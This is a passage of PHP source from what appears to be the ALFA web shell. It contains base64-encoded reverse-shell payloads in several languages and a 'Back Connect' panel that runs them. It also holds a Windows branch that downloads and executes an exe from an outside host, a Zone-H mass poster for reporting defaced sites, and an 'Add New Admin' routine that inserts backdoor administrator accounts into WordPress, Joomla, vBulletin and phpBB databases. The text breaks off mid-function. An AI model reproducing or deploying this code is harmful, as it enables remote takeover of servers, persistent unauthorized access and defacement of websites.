iEDkDKb1cevJRf3P2B5Sn0hV0O4WPcbeT2N8IYiQTyDLC3KNuxzFx/jaejvMCOGGe9fFnotTZVZSX6pnTxTgwahBilzrlL7WuvkmAKgVHRk2rlFRAGBG336h0upZqVSjiUuAsj4D0ShV//NLTeSoIIVNpzmsMaYxySXm4gj0fc4WNzol9RuM0A54Tc7ujPXRjFKwIhrVt3CyYXPprBWJ1PJ4O/N778a+zk95xbdWqY9tymaCPKfr6AfelEiR2+xidtIXhVjIXQSbBFvCQ6NuR6aAVHSUeq4MjdGkC2D0ZHAw/uzQCCxFbiNgW68CaQaFq/yKUstI2uR2DWWMjwj05qDXOwhdAJYSCJQSz6BaRm9+38q7vYk94cRYupXG4+HZ1PQlOR9PAreN0qkWTo+5lEaqEpjJKBVnQpcjLggxcd+NkmsmSF9bGqEcJPCL/mmDj18Ki8xl+WVYKt11JqVDII4tUnw3WOruRKkebB9XkOg+11HCkqeBoSz58y3FfF78ExR4Mz/CJ3omlr5lBQ7G810tV9XXp+v7Q7oe/vBncdTuQtSyf2hYn0YehddGVwDpVuhtm6VKuSKFP0q+2kVZ/pJZG5/OLq2BWryqdXp9+n09nk2B0aWI0TGUsebEJmF7/mBuvdsx8EvycBqOzs4lnLn1ZvaSawREh+IDaD/YKOwBJs1TvAieHRjLM1Csfur7uAjPEsyvT4qB5R6jMAAqLbTu8navXUIDgJzTK4hDNIFyhqZkvetIT2M2JLSFeC8ebp2F3ls3D8KwZdmAGJtLEzTkHpghJ6mbsxnn4Bpzy/3C+Fv5GnNL9Cw==";\n$perl="lZLRjpNAFIav26TvMOJsC8kYWr1bpJFQ3DRrS8OwGmOVsPSsTKQDgVm3m+722Z0BVifGGL0755/Dd+Abnj+zb5vavmbcBv4dVVAXo+FtA2gZnp/TMvsGwhkNcdm4+EuoqiZ3DThUZS1QHEQr9yCg3jsbOnMnW7z5sNjOJ05/LkOnJTc5esEM+TS7MRXqtLfvZMysY4s788MV3QT+GbIvDedRLhHuVxBVXYry+p6nezAnIqsmliQ07SuZlIw3b5PlOojJmIb+ZULjKPBWBAvr4WHHwLS6bW+86OK9686s42g4wJWLVf9p+lmeDhoQilZWCkfDd4kCSSANkyi4ooG3WERkpkAD+RE7OaTG092uThg3cUWWazWSeOuPlrZ1ULBGAJfjr/Q0zTKQm3xCrW65JPrEOCGvuElRDOke0RyKAp223CDTdqisgCMaL5ZrYrwe+4bzFIRXMTHmehJEUZ/I5+AAGZJqtfVZUTZg+pbTFfRnoehaI8laJ6lWB2QCTWUlLweK5pfYl38Si/O+nXUtcxkHkaSilNpyXQpO3d+cYqafZyXnkKn7wamet/boP9gze3vzMTUs5ynp9elR709FfxP4f946W3BU+kz5Jz3+AA==";\n$ruby="tVb7b9M6FP7Z+SuMN0hzVxLGQ+h2N6vGU0ggqjG4QmQXtc5pYy11gu3QoW387fiVrqXt1ivd66p1es7n8/T52p07SSNFMmI8Af4di2b0I9jBhVK17CXJhKmiGcW0miajR08fn7nPQMC3hgnAoazoGajwWlAPVcGHUwiDIIcxlg09kwESoBrB8fHHZ5+/Dt4enbx6f/wuzqsZp0MJ8XSoaNEJp3LG+KV5TxmfzMKor0QDvfGwlBAAz51FAcPSOOlIJSJtOdV7gNgYv2IlxHDOpJJ9r9TagY8n5jCz0rg1EKvqqw7NGDbHbaRYFcCxSEU8kc2ok2RJ0iVZRiJsYT4N4aLRh46OX3+KS+ATVaTpfoD1MqIvD07Tn8k/Xx7c//P0Yr/75Go36dfpG65gAqLjEVFPB6vsGZmePB98APEdhI2TkG4dWQ1NZTykFGoHpHEtGFeY2DZgWUBZ4h6mFedAFeQZJxY3ggnj9sksHSivlO8FXljjlJoqsCUhnAPF0voZdwic15VQ+OTl8bv0XIGYHgw+7Kdhtjv4+0V2GB54vRYe2DskC3yf4eyv7N7dHGeHdnvodtIdm1c09wamsYuu2/TmPSYxifbIIVlCzQrdaVzq2CeglhMySwyZBAxCVOKZqEzypWlGziAT/d1kBe+rU8a0qKZ1mhKyAvEwY4fmOP4jYWshZpVp6e+ORiasG4aRM7zxRHt1cz0/VFXiR79TRhvRzse8QLcgXzChvWvLNwHNZd6k264jCw31ZcpmvRvLtC5pV6etE7oN/p+mBRtNvXkf11UNvFN2iSDRxSWrLlvzrDJsk+8RPZd7K76ugm3D/l22+L19FiBpc33vNfnN6QW4bMR1BjKmZbWQkUw5K4PWluvhErE9tAS5gdi0o1VqO9DSIrXf9k81x5oC+oAc4TrGsz8ejvF2Loory3pIbsFxyBEcQkvUhhAaa760jIaMu/+byFCb2Tzo1QullS1hSUdYWoJuISkbP1rDTMjLF6nIytBm4kHtoTU0g9rDi4zihUvk4US2d3bdmLCty29MsDmKdpBX3S5r/o1z8Mh10ym3nM4lp353m/8zsHbgkJ82E6WbM/1kJwz58XKTZ8FG8gs=";\n$node="nVHLasMwEDwrkH8QvliCoEDTW8ih9BPSW/pAtdeRQJZcSXYKIfn2yrKd5tGWYh+Ed2d2NDtquMWu4juNV9jCRy0tkDQTUuVvlTUZOJdSFgnL6aQJZA3+nBrKlPaQ8xZ4eY52nRMhM9oZBRdXda1I6VUEKBUo6fxd6rkTaUBkQXo3rFLcF8aWrOQ+E2T+ugssSen3XFbmDD4hPSlyu20CMCi0ZafZ/jEFeuvFarWg++kEtXwRyGEvlgXzHtZgG7CkqHXmpdHERR5ybGelB5Ic8YMqOH5qV19HD8dnnbT74P7rtgqiMUcSjZ7jTjDnc6mZBVeXQOg1ZGrPws1Jzj1PZoMTTNqa7gcnsVoebpXB2pHjf40Npm+mUXcKpqTzoGPKm7uXtnmYTkA5wNfZ35+ydxfZPxqtoYu9V5nF19wsotx/HgH9lj76IXY0Mm80Mmg0LuHDFw==";\n$c="tVJtb9owEP7cSv0PHp1ap/WAsO0TTaWoZBLaChHJNE0bilLHNKcZG8Vmgk7rb98lBArZi/alUqzcPff47nzPnYLicpkJcmVsBrqdX58cn+5hBaj738BMwl0TXJuOXS+E+QNuNP8mbCOghAU8HVCNwFIBVqhAUJbMU1C0NNLinjOepwW5QPP7l6nz4+T4qIwYxpn23D662PCSI4IV0ywrElAEShxmtLzveb3q1hG0Dahkls5Brj3/XTIcBXH/KbDQhfVyq5WhqdVAq4Lu1HH2OGX+tql+FVXS4cgfDCaJP/q84Rlv83JaF2DR+OZ9EsWTwL9l3ZojbEnSC0sNxj8kJaeiJpPgYxSUGdmZZgYehJ5RvW1hRl8YR6zA0jrRHagMU9DGBMiFcwasu3JrmsThCoXEtxufeynnoqrefeoJU3HWeiS+nKUkFumcRLmQkjx+VS3We7MlZstFD4mHnnvg9eqUayw7py2xKkdL4mBy662sKOb9MHK985fhp8H1eb+OIoSm4KSDj+qYnLyCVt2t1EZQXjk/8QhpBNlp+/pZtC23tLI2zN60nveDKPQWYjh1iWPdMi7dy31kl/2fGzEMw8k4HifxTbgTmXKtlOD2r8rWe9GIOY5z1T1Yj0pT87+amobnHnjPoanZaorfLw==";\n$java="lVRNb9swDD2nQP+D4JM9BG6T04bCwz6ww4ABHZbeuhwUhbG12rIg0XGCNPvtoz7sumsvPdiWyCfy8ZGybHRrkP3he57LNn93c3khJyYF6G2XF7rb1FIwUXNrGa93/A54c7q8mGkj9xyBWeRIgJ1UvI4wjQwOCGpr2V1lgG8dfjzwXekOV0j2hkl7M3Xddvjkazv0DMgdOGhMn5+dvziQnbCSNpe2oMh+ScbCRTqHUJ9u92CM3MIk7r6VW2Y6lWae5wzNMSxmmyPC/ZptWMEU9Mxv3y8+LNc3wS8VMkFOyuPKTDdZdPSVrCEVH4vrjMVYM2KR90YipJv59VwMUG/f1Z2t0tH0asyz/4S34Ciq9NtBgEbZKgbZCXJSUZEWXDzcGS6Awnmwe4XqY72xY77shkuVkn5SlVQoN6UNIrjK3Dj43MHPRLMlXsnVRqorWyXeJXfp6mgRmrwE/GlaDQaPadLaXPEGkizH9kfbg/nKLRHKpdrC4XaXJr1USebkOcWo9EkC35itd9a/7DONHHMzx1YV1DX7+1uFzJPe9C75F9rbKOGqFQ+ArIp9C9voG7tL1F29eQ2qxKooFrH9M38NCppThBJMrrmxQBuPvr9eD/1YgaFZiqnskGpiTF2gAe242JwL17Gh0aGXUFtg/5NZvpVMEE1qwnrXYj1JPBFB6jmb8Dq/LgV7fGSv85newFK6siun/sQ8jvGzy1m2I3ZqH8HkH27HYKJxEuB+J3TwV6dQNuCOxyVNExxApDQ4WfxPkFo0tYtYMOmsX1CbOyJDAodePqFL90fRLxmO8EVOV8e49unluHyS0b/ecDPpOf8D";\necho "<div class=header><center><br><div class=\'txtfont_header\'>| Back Connect |</div><br><br>";\necho "<form onSubmit=\\"g(\'connect\',null,this.selectCb.value,this.server.value,this.port.value,this.cbmethod.value);return false;\\">\n<div class=\\"txtfont\\">Mehtod:</div> <select name=\'cbmethod\' onChange=\'ctlbc(this);\' style=\'width:120px;\'><option value=\'back\'>Reverse Shell</option><option value=\'bind\'>Bind Port</option></select> <div class=\\"txtfont\\">Use:</div> <select name=\'selectCb\'>";\n$cbArr = array("php"=>"Php","perl"=>"Perl","python"=>"Python","ruby"=>"Ruby","c"=>"C","java"=>"Java","node"=>"NodeJs","bcwin"=>"Windows");\nforeach($cbArr as $key=>$val){echo("<option value=\'{$key}\' ".($GLOBALS[\'sys\']==\'win\'?\'selected\':\'\').">{$val}</option>");}\necho "</select> <div id=\'bcipAction\' style=\'display:inline-block;\'><div class=\\"txtfont\\">IP:</div> <input type=\'text\' style=\'text-align:center;\' name=\'server\' value=\'". $_SERVER[\'REMOTE_ADDR\'] ."\'></div> <div class=\\"txtfont\\">Port: </div> <input type=\'text\' size=\'5\' style=\'text-align:center;\' name=\'port\' value=\'2012\'> <input type=\'submit\' value=\' \'></form><p><div id=\'bcStatus\'><small>Run ` <font color=\'red\'>nc -l -v -p port</font> ` on your computer and press ` <font color=\'red\'>>></font> ` button</small></div></p></center></b></font><br>";\nif(isset($_POST[\'alfa1\'])&&!empty($_POST[\'alfa1\'])){\n$lang = $_POST[\'alfa1\'];\n$ip = $_POST[\'alfa2\'];\n$port = $_POST[\'alfa3\'];\n$arg = ($_POST[\'alfa4\']==\'bind\'?$port:$port.\' \'.$ip);\n$tmpdir = ALFA_TEMPDIR;\n$name = $tmpdir.\'/\'.$lang.uniqid().rand(1,99999);\n$allow = array(\'perl\',\'ruby\',\'python\',\'node\');\neval(\'$lan=$\'.$lang.\';\');\nif(in_array($lang,$allow)){\nif(__write_file($name,__get_resource($lan))){\nif(_alfa_can_runCommand(true,true)){\n$os = ($GLOBALS[\'sys\']!=\'win\')?\'1>/dev/null 2>&1 &\':\'\';\n$out = alfaEx("$lang $name $arg $os");\nif($out==\'\'){$out="<font color=\'green\'><center>[ Finished...! ]</center></font>";}\necho("<pre class=\'ml1\' style=\'margin-top:5px\'>{$out}</pre>");\n}\n}else{\necho("<pre class=ml1 style=\'margin-top:5px\'><font color=\'red\'><center>[ Failed...! ]</center></font></pre>");\n}\n}\nif($lang==\'java\'||$lang==\'c\'){\n$code = __get_resource($lan);\n$out = nl2br(bcinit($lang, $code,\'\',\'\'));\necho("<pre class=ml1 style=\'margin-top:5px\'><center>{$out}</center></pre>");\n}\nif($lang==\'bcwin\'){\n$alfa = new AlfaCURL();\n$s = $alfa->Send(\'http://solevisible.com/bc/windows.exe\');\n$tmpdir = ALFA_TEMPDIR;\n$f = @fopen($tmpdir.\'/bcwin.exe\',\'w+\');\n@fwrite($f, $s);\n@fclose($f);\n$out = alfaEx($tmpdir."/bcwin.exe ".$_POST[\'alfa2\']." ".$_POST[\'alfa3\']);\n}\nif($lang==\'php\'){\necho "<pre class=ml1 style=\'margin-top:5px\'>";\n$code = __get_resource($lan);\nif($code!==false){\n$code = "\\$target = \\"".$arg."\\";\\n".$code;\neval($code);\necho("<center><font color=\'green\'>[ Finished...! ]</font></center>");\n}\necho "</pre>";\n}\n}\necho "</div>";\nalfafooter();\n}\nfunction alfazoneh(){\nalfahead();\necho \'<div class=header>\';\nif(!function_exists(\'curl_version\')){\necho "<pre class=ml1 style=\'margin-top:5px\'><center><font color=red><b><big><big>PHP CURL NOT EXIST ~ ZONE H MASS POSTER DOES NOT WORK</b></font></big></big></center></pre>";\n}\n$hackmode = array(\'known vulnerability (i.e. unpatched system)\',\'undisclosed (new) vulnerability\',\'configuration / admin. mistake\',\'brute force attack\',\'social engineering\',\'Web Server intrusion\',\'Web Server external module intrusion\',\'Mail Server intrusion\',\'FTP Server intrusion\',\'SSH Server intrusion\',\'Telnet Server intrusion\',\'RPC Server intrusion\',\'Shares misconfiguration\',\'Other Server intrusion\',\'SQL Injection\',\'URL Poisoning\',\'File Inclusion\',\'Other Web Application bug\',\'Remote administrative panel access bruteforcing\',\'Remote administrative panel access password guessing\',\'Remote administrative panel access social engineering\',\'Attack against administrator(password stealing/sniffing)\',\'Access credentials through Man In the Middle attack\',\'Remote service password guessing\',\'Remote service password bruteforce\',\'Rerouting after attacking the Firewall\',\'Rerouting after attacking the Router\',\'DNS attack through social engineering\',\'DNS attack through cache poisoning\',\'Not available\',\'Cross-Site Scripting\');\n$reason = array(\'Heh...just for fun!\',\'Revenge against that website\',\'Political reasons\',\'As a challenge\',\'I just want to be the best defacer\',\'Patriotism\',\'Not available\');\necho \'\n<center><br><div class="txtfont_header">| Zone-h Mass Poster |</div><center><br>\n<form action="" method="post" onsubmit="g(\\\'zoneh\\\',null,this.defacer.value,this.hackmode.value,this.reason.value,this.domain.value,\\\'>>\\\'); return false;">\n<input type="text" name="defacer" size="67" id="text" placeholder="Cavdar59" />\n<br>\n<select id="text" name="hackmode" style="width:400px;">\';\n$x=1;\nforeach($hackmode as $mode){echo(\'<option style="background-color: rgb(F, F, F);" value="\'.$x.\'">\'.$mode.\'</option>\');$x++;}\necho \'</select><br><select id="text" name="reason" style="width:200px;">\';\n$x=1;\nforeach($reason as $mode){echo(\'<option style="background-color: rgb(F, F, F);" value="\'.$x.\'">\'.$mode.\'</option>\');$x++;}\necho \'</select><br>\n<textarea name="domain" cols="90" rows="20" placeholder="Domains..."></textarea><br>\n<p><input type="submit" value=" " name="go" /></p>\n</form></center>\';\nif($_POST[\'alfa5\'] && $_POST[\'alfa5\'] == \'>>\'){\nob_start();\n$hacker = $_POST[\'alfa1\'];\n$method = $_POST[\'alfa2\'];\n$neden = $_POST[\'alfa3\'];\n$site = $_POST[\'alfa4\'];\nif(empty($hacker)){\ndie (__pre()."<center><b><font color =\\"#FF0000\\">[+] YOU MUST FILL THE ATTACKER NAME [+]</font></b></center>");\n}elseif($method == "------------------------------------SELECT-------------------------------------"){\ndie(__pre()."<center><b><font color =\\"#FF0000\\">[+] YOU MUST SELECT THE METHOD [+]</b></font></center>");\n}elseif($neden == "------------------------------------SELECT-------------------------------------"){\ndie(__pre()."<center><b><font color =\\"#FF0000\\">[+] YOU MUST SELECT THE REASON [+]</b></font></center>");\n}elseif(empty($site)){\ndie(__pre()."<center><b><font color =\\"#FF0000\\">[+] YOU MUST INTER THE SITES LIST [+]<font></b></center>");\n}\n$i = 0;\n$sites = explode("\\n", $site);\n$alfa = new AlfaCURL();\nwhile($i < count($sites)){\nif(substr($sites[$i], 0, 4) != "http"){\n$sites[$i] = "http://".$sites[$i];\n}\n$alfa->Send("http://www.zone-h.com/notify/single","post","defacer=".$hacker."&domain1=". $sites[$i]."&hackmode=".$method."&reason=".$neden);\n++$i;\n}\necho __pre()."<center><font color =\\"#00A220\\"><b>[+] Sending Sites To Zone-H Has Been Completed Successfully !!![+]</b><font></center>";\n}\necho "</div>";\nalfafooter();\n}\nfunction alfapwchanger(){\nalfahead();\n\necho \'<div class=header><center><br><div class="txtfont_header">| Add New Admin |</div>\n<center><h3>\';\n$vals = array(\'WordPress\' => array(\'wp\',2),\'Joomla\' => array(\'joomla\',3),\'vBulletin\' => array(\'vb\',5),\'phpBB\' => array(\'phpbb\',6),\'WHMCS\' => array(\'whmcs\',7),\'MyBB\' => array(\'mybb\',8),\'Php Nuke\' => array(\'nuke\',9),\'Drupal\' => array(\'drupal\',10),\'SMF\' => array(\'smf\',11));\nAlfa_Create_A_Tag(\'pwchanger\',$vals);\necho \'</h3></center>\';\nif(isset($_POST[\'alfa1\'])&&$_POST[\'alfa1\']==\'wp\'){\n\necho __pre().\'<center><center><div class="txtfont_header">| WordPress |</div>\n<p>\'.getConfigHtml(\'wp\').\'</p><form onSubmit="g(\\\'pwchanger\\\',null,\\\'wp\\\',\\\'>>\\\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,this.email.value,this.prefix.value);return false;" method="POST">\';\n$table = array(\'td1\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\',\'id\'=>\'db_host\', \'inputName\' => \'localhost\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\n \'td2\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'id\'=>\'db_name\',\'inputName\' => \'database\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\n \'td3\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'id\'=>\'db_user\',\'inputName\' => \'username\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\n \'td4\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'id\'=>\'db_pw\',\'inputName\' => \'password\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\n \'td5\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Table Prefix\', \'id\'=>\'db_prefix\',\'inputName\' => \'prefix\', \'inputValue\' => \'wp_\', \'inputSize\' => \'50\'),\n \'td6\' =>\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin User\', \'inputName\' => \'admin\', \'inputValue\' => \'admin\', \'inputSize\' => \'50\'),\n \'td7\' =>\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Pass\', \'inputName\' => \'kh\', \'inputValue\' => \'solevisible\', \'inputSize\' => \'50\', \'disabled\' => true),\n \'td8\' =>\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Email\', \'inputName\' => \'email\', \'inputValue\' => \'solevisible@fbi.gov\', \'inputSize\' => \'50\')\n);\ncreate_table($table);\necho \'<p><input value=" " name="send" type="submit"></p></form>\';\nif ($_POST[\'alfa2\'] && $_POST[\'alfa2\'] == \'>>\'){\n$localhost = $_POST[\'alfa3\'];\n$database = $_POST[\'alfa4\'];\n$username = $_POST[\'alfa5\'];\n$password = $_POST[\'alfa6\'];\n$admin = $_POST[\'alfa8\'];\n$SQL = $_POST[\'alfa9\'];\n$prefix = $_POST[\'alfa10\'];\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));\n$solevisible=@mysqli_query($conn,"insert into ".$prefix."users (ID,user_login,user_pass,user_email) values(null,\'$admin\',\'d4a590caacc0be55ef286e40a945ea45\',\'$SQL\')") or die(mysqli_error($conn));\n$solevisible=@mysqli_query($conn,"select ID from ".$prefix."users where user_login=\'".$admin."\'") or die(mysqli_error($conn));\n$sole = @mysqli_num_rows($solevisible);\nif ($sole == 1){\n$solevis = @mysqli_fetch_assoc($solevisible);\n$res = $solevis[\'ID\'];\n}\n$solevisible=@mysqli_query($conn,"insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,\'".$res."\',\'first_name\',\'solevisible\'),(null,\'".$res."\',\'last_name\',\'solevisible\'),(null,\'".$res."\',\'nickname\',\'solevisible\'),(null,\'".$res."\',\'description\',\'solevisible\'),(null,\'".$res."\',\'rich_editing\',\'true\'),(null,\'".$res."\',\'comment_shortcuts\',\'false\'),(null,\'".$res."\',\'admin_color\',\'fresh\'),(null,\'".$res."\',\'use_ssl\',\'0\'),(null,\'".$res."\',\'show_admin_bar_front\',\'true\'),(null,\'".$res."\',\'".$prefix."capabilities\',\'a:1:{s:13:\\"administrator\\";b:1;}\'),(null,\'".$res."\',\'".$prefix."user_level\',\'10\'),(null,\'".$res."\',\'show_welcome_panel\',\'1\'),(null,\'".$res."\',\'".$prefix."dashboard_quick_press_last_post_id\',\'3\')") or die(mysqli_error($conn));\nif($solevisible){\n__alert(\'Success... \'.$admin.\' is created...\');}\n}\n}\nif($_POST[\'alfa2\'] && $_POST[\'alfa2\'] == \'joomla\'){\n\necho __pre().\'<center><center><div class="txtfont_header">| Joomla |</div><p><p>\'.getConfigHtml(\'joomla\').\'</p><form onSubmit="g(\\\'pwchanger\\\',null,\\\'>>\\\',\\\'joomla\\\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,this.email.value,this.prefix.value);return false;" method="POST">\';\n$table = array(\'td1\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'id\'=>\'db_host\',\'inputName\' => \'localhost\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\n \'td2\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'id\'=>\'db_name\',\'inputName\' => \'database\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\n \'td3\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'id\'=>\'db_user\',\'inputName\' => \'username\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\n \'td4\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'id\'=>\'db_pw\',\'inputName\' => \'password\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\n \'td5\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Table Prefix\', \'id\'=>\'db_prefix\',\'inputName\' => \'prefix\', \'inputValue\' => \'jos_\', \'inputSize\' => \'50\'),\n \'td6\' =>\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin User\', \'inputName\' => \'admin\', \'inputValue\' => \'admin\', \'inputSize\' => \'50\'),\n \'td7\' =>\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Pass\', \'inputName\' => \'toftof\', \'inputValue\' => \'solevisible\', \'inputSize\' => \'50\', \'disabled\' => true),\n \'td8\' =>\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Email\', \'inputName\' => \'email\', \'inputValue\' => \'solevisible@fbi.gov\', \'inputSize\' => \'50\')\n);\ncreate_table($table);\necho \'<p><input value=" " name="send" type="submit"></p></form></center>\';\nif ($_POST[\'alfa1\'] && $_POST[\'alfa1\'] == \'>>\'){\n$localhost = $_POST[\'alfa3\'];\n$database = $_POST[\'alfa4\'];\n$username = $_POST[\'alfa5\'];\n$password = $_POST[\'alfa6\'];\n$admin = $_POST[\'alfa8\'];\n$SQL = $_POST[\'alfa9\'];\n$prefix = $_POST[\'alfa10\'];\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));\n$solevisible=@mysqli_query($conn,"insert into ".$prefix."users (id,name,username,email,password) values(null,\'Super User\',\'".$admin."\',\'".$SQL."\',\'d4a590caacc0be55ef286e40a945ea45\')") or die(mysqli_error($conn));\n$solevisible=@mysqli_query($conn,"select id from ".$prefix."users where username=\'".$admin."\'") or die(mysqli_error($conn));\n$sole =@mysqli_num_rows($solevisible);\nif ($sole == 1){\n$solevis =@mysqli_fetch_assoc($solevisible);\n$res = $solevis[\'id\'];\n}\n$solevisible=@mysqli_query($conn,"INSERT INTO ".$prefix."user_usergroup_map (user_id,group_id) VALUES (\'".$res."\', \'8\')") or die(mysqli_error($conn));\nif($solevisible){\n__alert(\'Success... \'.$admin.\' is created...\');}\n}\n}\nif($_POST[\'alfa4\'] && $_POST[\'alfa4\'] == \'vb\'){\n\necho __pre().\'<center><center><div class="txtfont_header">| vBulletin |<div><p>\'.getConfigHtml(\'vb\').\'</p><form onSubmit="g(\\\'pwchanger\\\',null,\\\'>>\\\',this.localhost.value,this.database.value,\\\'vb\\\',this.username.value,this.password.value,this.prefix.value,this.admin.value,this.email.value); return false;" method="POST">\';\n$table = array(\'td1\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'id\'=>\'db_host\',\'inputName\' => \'localhost\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\n \'td2\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'id\'=>\'db_name\',\'inputName\' => \'database\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\n \'td3\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'id\'=>\'db_user\',\'inputName\' => \'username\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\n \'td4\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'id\'=>\'db_pw\',\'inputName\' => \'password\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\n \'td5\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Table Prefix\', \'id\'=>\'db_prefix\',\'inputName\' => \'prefix\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\n \'td6\' =>\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin User\', \'inputName\' => \'admin\', \'inputValue\' => \'admin\', \'inputSize\' => \'50\'),\n \'td7\' =>\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Pass\', \'inputName\' => \'hi\', \'inputValue\' => \'solevisible\', \'inputSize\' => \'50\', \'disabled\' => true),\n \'td8\' =>\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Email\', \'inputName\' => \'email\', \'inputValue\' => \'solevisible@fbi.gov\', \'inputSize\' => \'50\')\n);\ncreate_table($table);\necho \'<p><input value=" " name="send" type="submit"></p></form></center>\';\nif($_POST[\'alfa1\'] && $_POST[\'alfa1\'] == \'>>\'){\n$localhost = $_POST[\'alfa2\'];\n$database = $_POST[\'alfa3\'];\n$username = $_POST[\'alfa5\'];\n$password = $_POST[\'alfa6\'];\n$prefix = $_POST[\'alfa7\'];\n$admin = $_POST[\'alfa8\'];\n$SQL = $_POST[\'alfa9\'];\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_connect_error());\n$pw_col = @mysqli_connect("SELECT column_name FROM information_schema.columns where table_name = \'{$prefix}user\' and column_name = \'password\' and table_schema = \'{$database}\'");\n$pw_col = @mysqli_num_rows($pw_col);\n$adm_perm = "16744444";\nif($pw_col > 0){\n$solevisible=@mysqli_query($conn,"insert into {$prefix}user (userid,usergroupid,username,password,salt,email,passworddate,joindate) values(null,\'6\',\'$admin\',\'52e28b78f55641cd4618ad1a20f5fd5c\',\'Xw|IbGLhTQA-AwApVv>61y^(z]*<QN\',\'$SQL\',\'".date(\'Y-m-d\')."\',\'".time()."\')") or die(mysqli_error($conn));\n}else{\n$adm_perm = "2143256444";\n$solevisible=@mysqli_query($conn,"insert into {$prefix}user (userid,usergroupid,username,token,secret,email,passworddate,joindate,scheme,birthday_search) values(null,\'6\',\'$admin\',\'\\$2y\\$10\\$YsVhV.9tLnzBYxar1BJAGO3vFz68/qDU7Jt62SDdLy6lUT9N5Z/wq\',\'Qf~ADeA}iAey-&#ALQF<}/uBDqSnw>\',\'$SQL\',\'".date(\'Y-m-d\')."\',\'".time()."\',\'blowfish:10\',\'1984-05-20\')") or die(mysqli_error($conn));\n}\n$solevisible=@mysqli_query($conn,"select userid from {$prefix}user where username=\'".$admin."\'") or die(mysqli_error($conn));\n$sole = mysqli_num_rows($solevisible);\nif($sole == 1){\n$solevis = mysqli_fetch_assoc($solevisible);\n$res = $solevis[\'userid\'];\n}\n$solevisible=@mysqli_query($conn,"insert into {$prefix}administrator (userid,adminpermissions) values(\'".$res."\',\'".$adm_perm."\')") or die(mysqli_error($conn));\nif($solevisible){\n__alert(\'Success... \'.$admin.\' is created...\');}\n}\n}\nif(isset($_POST[\'alfa5\']) && $_POST[\'alfa5\'] == \'phpbb\'){\n\necho __pre().\'<center><div class="txtfont_header">| phpBB |</div><p><p>\'.getConfigHtml(\'phpbb\').\'</p><form onSubmit="g(\\\'pwchanger\\\',null,\\\'>>\\\',this.localhost.value,this.database.value,this.username.value,\\\'phpbb\\\',this.password.value,null,this.admin.value,this.email.value,this.prefix.value); return false;" method="POST">\';\n$table = array(\'td1\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'id\'=>\'db_host\',\'inputName\' => \'localhost\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\n \'td2\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'id\'=>\'db_name\',\'inputName\' => \'database\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\n \'td3\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'id\'=>\'db_user\',\'inputName\' => \'username\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\n \'td4\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'id\'=>\'db_pw\',\'inputName\' => \'password\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\n \'td5\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Table Prefix\', \'id\'=>\'db_prefix\',\'inputName\' => \'prefix\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\n \'td6\' =>\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin User\', \'inputName\' => \'admin\', \'inputValue\' => \'admin\', \'inputSize\' => \'50\'),\n \'td7\' =>\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Pass\', \'inputName\' => \'toftof\', \'inputValue\' => \'solevisible\', \'inputSize\' => \'50\', \'disabled\' => true),\n \'td8\' =>\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Email\', \'inputName\' => \'email\', \'inputValue\' => \'solevisible@fbi.gov\', \'inputSize\' => \'50\')\n);\ncreate_table($table);\necho \'<p><input value=" " 